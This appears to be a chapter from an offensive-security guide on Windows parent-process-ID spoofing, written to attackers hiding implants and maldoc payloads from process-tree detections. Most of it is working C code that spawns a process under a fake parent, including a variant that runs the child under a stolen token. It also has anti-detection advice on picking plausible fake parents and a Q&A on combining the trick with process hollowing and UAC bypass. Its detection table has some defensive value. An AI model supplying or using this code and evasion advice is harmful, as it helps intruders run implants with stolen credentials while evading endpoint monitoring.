PPID Spoofing
Every process tree detection in every SIEM is built on parent-child relationships: winword.exe spawned powershell.exe → suspicious. explorer.exe spawned powershell.exe → normal. PPID (Parent Process ID) spoofing lets you choose which process appears as your parent in Event ID 4688, Sysmon Event 1, and the ETW process creation events — independently of which process actually created you. Windows allows this through a process creation attribute: PROC_THREAD_ATTRIBUTE_PARENT_PROCESS. Set it to a handle for explorer.exe, and your malicious child appears to be explorer's child, regardless of the fact that a maldoc or C2 implant actually spawned it.
Why Parent Process ID Matters for Detection
Normal enterprise process tree (expected — no alerts):
─────────────────────────────────────────────────────────────────────────
System (PID 4)
└─ wininit.exe
└─ services.exe
└─ svchost.exe
└─ WmiPrvSE.exe
explorer.exe (PID 5432)
├─ chrome.exe
├─ Teams.exe
└─ notepad.exe
Without PPID spoofing (easy to detect):
─────────────────────────────────────────────────────────────────────────
WINWORD.EXE (PID 7890) ← victim opened document
└─ cmd.exe ← macro spawns shell (ALERT: office → shell)
└─ powershell.exe ← downloads implant
└─ implant.exe
With PPID spoofing (hides in normal explorer.exe children):
─────────────────────────────────────────────────────────────────────────
WINWORD.EXE (PID 7890) ← actual creator (calls CreateProcess)
[no visible children — the child process is attached to a different parent]
explorer.exe (PID 5432) ← APPEARS to be parent
├─ chrome.exe ← real children
└─ implant.exe ← YOUR PROCESS (actually created by WINWORD, spoofed PPID=5432)
Logs say: "explorer.exe (5432) spawned implant.exe"
Reality: "WINWORD.EXE (7890) spawned implant.exe"
Sysmon Event ID 1 (Process Create) will show:
ParentImage: C:\Windows\explorer.exe ← spoofed
ParentProcessId: 5432 ← spoofed (explorer's PID)
Image: C:\Users\...\implant.exe
ProcessId: 8001Implementation
/* ppid_spoof.c — Spawn a process with a spoofed parent PID
Uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS with UpdateProcThreadAttribute.
Requires:
- A handle to the target "parent" process with PROCESS_CREATE_PROCESS access
- CreateProcessW with lpProcThreadAttributeList set
The spoofed parent MUST be running (you need a valid handle to it).
The child process inherits the security context of the REAL parent
(the process calling CreateProcess), not the spoofed parent.
This is important: PPID spoofing changes only what the OS records in
the process creation events. The actual token, handles, and environment
come from the real creating process.
*/
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
/* Find a PID by process name */
static DWORD find_pid(const wchar_t *name) {
DWORD pid = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
if (Process32FirstW(snap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, name) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(snap, &pe));
}
CloseHandle(snap);
return pid;
}
BOOL spawn_with_spoofed_ppid(
const wchar_t *target_exe, /* process to create */
const wchar_t *fake_parent_name /* which process to appear under */
) {
/* Step 1: Find and open the fake parent process */
DWORD fake_parent_pid = find_pid(fake_parent_name);
if (!fake_parent_pid) {
wprintf(L"[-] Cannot find process: %ls\n", fake_parent_name);
return FALSE;
}
HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, fake_parent_pid);
if (!hFakeParent) {
printf("[-] OpenProcess(PROCESS_CREATE_PROCESS) failed: %lu\n", GetLastError());
printf(" Note: PROCESS_CREATE_PROCESS is a special access right.\n");
printf(" Most processes grant this to all users by default.\n");
return FALSE;
}
wprintf(L"[+] Fake parent '%ls' (PID %lu) handle acquired: %p\n",
fake_parent_name, fake_parent_pid, hFakeParent);
/* Step 2: Build the PROC_THREAD_ATTRIBUTE_LIST */
SIZE_T attr_size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attr_size); /* get required size */
LPPROC_THREAD_ATTRIBUTE_LIST attr_list =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attr_size);
if (!attr_list) { CloseHandle(hFakeParent); return FALSE; }
if (!InitializeProcThreadAttributeList(attr_list, 1, 0, &attr_size)) {
printf("[-] InitializeProcThreadAttributeList failed: %lu\n", GetLastError());
goto cleanup;
}
/* Step 3: Set the PARENT_PROCESS attribute to our fake parent's handle */
if (!UpdateProcThreadAttribute(
attr_list,
0, /* flags (reserved) */
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, /* which attribute */
&hFakeParent, /* value: handle to fake parent */
sizeof(HANDLE),
NULL, NULL))
{
printf("[-] UpdateProcThreadAttribute failed: %lu\n", GetLastError());
goto cleanup;
}
printf("[+] PROC_THREAD_ATTRIBUTE_PARENT_PROCESS set to fake parent handle\n");
/* Step 4: Create the process with the spoofed attribute */
STARTUPINFOEXW si = {0};
si.StartupInfo.cb = sizeof(si); /* MUST be sizeof(STARTUPINFOEXW), not sizeof(STARTUPINFOW) */
si.lpAttributeList = attr_list; /* attach the attribute list */
PROCESS_INFORMATION pi = {0};
wchar_t cmd[MAX_PATH];
wcscpy(cmd, target_exe);
BOOL ok = CreateProcessW(
NULL, /* lpApplicationName */
cmd, /* lpCommandLine (writable buffer!) */
NULL, NULL,
FALSE, /* bInheritHandles */
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, /* dwCreationFlags */
NULL, NULL,
(LPSTARTUPINFOW)&si, /* cast STARTUPINFOEXW → STARTUPINFOW */
&pi
);
if (!ok) {
printf("[-] CreateProcessW failed: %lu\n", GetLastError());
goto cleanup;
}
wprintf(L"[+] Process created: PID=%lu\n", pi.dwProcessId);
wprintf(L" Actual creator: THIS PROCESS (PID=%lu)\n", GetCurrentProcessId());
wprintf(L" Logged parent: %ls (PID=%lu)\n", fake_parent_name, fake_parent_pid);
printf("[+] Sysmon/Event 4688 will show explorer as the parent.\n");
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
cleanup:
DeleteProcThreadAttributeList(attr_list);
HeapFree(GetProcessHeap(), 0, attr_list);
CloseHandle(hFakeParent);
return ok;
}
int main(void) {
/* Spawn cmd.exe appearing as explorer.exe's child */
return spawn_with_spoofed_ppid(
L"C:\\Windows\\System32\\cmd.exe",
L"explorer.exe"
) ? 0 : 1;
}
Token and Inheritance Implications
/* ── Token inheritance with PPID spoofing ────────────────────────────── */
/*
* Critical detail: the child inherits the TOKEN of the REAL parent,
* not the spoofed parent.
*
* Example:
* Real creator: WINWORD.EXE running as user eyes\jdoe (medium integrity)
* Fake parent: explorer.exe running as user eyes\jdoe (medium integrity)
* Child: cmd.exe → inherits eyes\jdoe medium token
* (Same token in this case since both run as the same user.)
*
* More impactful example:
* Real creator: implant.exe running as SYSTEM (high integrity)
* Fake parent: explorer.exe running as user eyes\jdoe (medium)
* Child: child.exe → inherits SYSTEM token (!)
* Logs say: explorer.exe spawned child.exe (medium integrity expected)
* Reality: child.exe runs as SYSTEM (medium integrity label impossible
* for explorer.exe to produce — anomaly for careful defenders)
*
* Combining PPID spoofing with token theft (CreateProcessWithTokenW)
* lets you spawn a child that:
* a) appears to be explorer.exe's child
* b) runs with the token of ANY user on the system (e.g., from lsass)
*
* Combined technique:
*/
BOOL spawn_spoofed_ppid_with_token(
const wchar_t *target_exe,
const wchar_t *fake_parent_name,
HANDLE hToken /* duplicated token from target user's process */
) {
DWORD fake_pid = find_pid(fake_parent_name);
HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, fake_pid);
SIZE_T attr_size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attr_size);
LPPROC_THREAD_ATTRIBUTE_LIST attr =
HeapAlloc(GetProcessHeap(), 0, attr_size);
InitializeProcThreadAttributeList(attr, 1, 0, &attr_size);
UpdateProcThreadAttribute(attr, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hFakeParent, sizeof(HANDLE), NULL, NULL);
STARTUPINFOEXW si = {0};
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = attr;
PROCESS_INFORMATION pi = {0};
wchar_t cmd[MAX_PATH];
wcscpy(cmd, target_exe);
/* CreateProcessWithTokenW uses a different token but does NOT
support lpAttributeList (legacy API). Use CreateProcessAsUserW instead. */
BOOL ok = CreateProcessAsUserW(
hToken,
NULL, cmd,
NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL, NULL,
(LPSTARTUPINFOW)&si, &pi
);
/* Child now runs with hToken's credentials AND appears under fake_parent_name */
DeleteProcThreadAttributeList(attr);
HeapFree(GetProcessHeap(), 0, attr);
CloseHandle(hFakeParent);
if (ok) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
return ok;
}
Detection and Evasion Limits
Detection method Notes
─────────────────────────────────────────────────────────────────────────
Sysmon Event 1: compare Sysmon captures both reported PPID
ParentProcessId vs the process and the real creating process (if
tree (who actually called CreateProcess) using kernel callbacks). Some EDR
versions show BOTH.
OpenProcess with PROCESS_CREATE_PROCESS This access right is unusual.
being requested (rare in benign apps) Sysmon Event 10 on the handle open
with PROCESS_CREATE_PROCESS flag.
Token integrity mismatch: If spoofed parent runs at medium
child process has higher integrity integrity but child is SYSTEM/high,
than claimed parent that's impossible without token theft
Process creation chain anomaly: Elastic, MDE use ML on process
explorer.exe "children" that don't trees. explorer.exe very rarely
match known explorer child patterns spawns cmd.exe, powershell.exe,
or executables from user temp dirs
WMI process creation events: Win32_ProcessStartTrace has
report the REAL creating process via both ParentProcessID (spoofable)
the CreatorProcessId field AND CreatorProcessId (the actual
process that called CreateProcess)
ETW-TI PROCESS_CREATE event: Kernel ETW-TI records the real
includes both reported PPID and the creating process separately from
actual requesting process context the PPID stored in EPROCESS.
Anti-detection:
─────────────────────────────────────────────────────────────────────────
Choose a fake parent that ACTUALLY spawns children of the type you're
creating. example: if creating cmd.exe, use spoolsv.exe or WmiPrvSE.exe
which legitimately spawn cmd.exe for printer tasks / WMI operations.
Match the child's behavior to what the fake parent's children typically
do — an explorer.exe child that immediately connects to a C2 IP is still
anomalous even with correct PPID.Questions & Answers
Does PPID spoofing require admin privileges?
Not inherently. PROC_THREAD_ATTRIBUTE_PARENT_PROCESS requires a handle to the fake parent with PROCESS_CREATE_PROCESS access. Standard user processes typically grant PROCESS_CREATE_PROCESS to all users by default — you can open a handle to explorer.exe or most user-mode processes with this right from a non-privileged process. The privilege check is against the target process's security descriptor, not the calling process's privilege level. However, if you want to spoof a SYSTEM process (like services.exe) as the parent, you'll need appropriate access — which typically means you're already an admin. For standard implant operations (appearing as explorer.exe's child), no elevated privileges are required.
If Sysmon records both PPID and the real creator, why does PPID spoofing still work?
Because most detection rules and SIEM queries look at the reported PPID field, not the kernel-recorded creating process field. Sysmon Event ID 1 exposes ParentProcessId and ParentImage — which reflect the spoofed PPID. The "real" creating process is available via other mechanisms (WMI CreatorProcessId, some EDR-specific fields), but these are not in standard Sysmon schema version 3-6 schema that most rules are written against. Rules written as "ParentImage = winword.exe AND Image = powershell.exe → alert" are completely defeated by PPID spoofing. Detections that correlate the full creation chain (using the kernel callback data or WMI) catch it — but these require more sophisticated SIEM logic and are less commonly deployed.
Can you spoof PPID to a process running in a different session (Session 0 vs Session 1)?
Session boundary crossing adds complexity. Processes in Session 0 (services, system processes) require that the calling process has SeCreateGlobalPrivilege or similar rights to interact cross-session. For typical PPID spoofing to evade detection, you want a same-session process as the fake parent anyway — if your implant runs in the user session and tries to spoof lsass.exe (Session 0 system process) as its parent, defenders will immediately see "Session 1 process appeared under a Session 0 parent" which is an even bigger anomaly. Best practice: choose a fake parent in the same session, same integrity level, and that plausibly spawns processes of the type you're creating.
What's the difference between PPID spoofing and process hollowing for process tree evasion?
They solve different problems. PPID spoofing changes which parent a new process appears under in the process tree — it's purely about the parent-child relationship label. Process hollowing (Ch27) replaces the code running inside a legitimate process — it's about disguising your code as a legitimate process. PPID spoofing doesn't change what code runs (your implant code runs under a new process with spoofed parent). Hollowing doesn't change the parent relationship (the hollowed process still shows its real parent). They're complementary: hollow your payload into a legitimate process image (so it looks like, e.g., svchost.exe by name/image), AND spoof its PPID to services.exe (the real parent of svchost.exe) — now the process tree looks exactly like a real svchost.exe service launch.
How does PPID spoofing interact with Windows integrity levels and UAC?
Windows integrity levels are carried in the process token, and the token comes from the real creating process (or an explicitly provided token if using CreateProcessAsUserW), not from the fake parent. So PPID spoofing doesn't affect integrity levels — your child process runs at the integrity level of your real process. UAC elevation is a separate flow entirely: it involves AppInfo.exe mediating the elevation and creating the elevated process with a different token. PPID spoofing during UAC bypass is possible — some UAC bypass techniques spawn a high-integrity process and apply PPID spoofing to make it appear as a legitimate elevated process's child rather than your implant's child. This combines the techniques to both bypass UAC and hide the resulting elevation in the process tree.